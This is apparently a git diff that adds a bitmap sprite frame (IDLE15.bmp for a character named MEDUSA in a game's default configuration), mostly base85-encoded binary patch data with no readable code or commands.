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 Tud)d&7KB${|K*8a{p$Y#L9^qP literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp new file mode 100644 index 0000000000000000000000000000000000000000..25f7a83bd6e4fbe31f5bb3c12df5c76a5e14fbbe GIT binary patch literal 18462 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 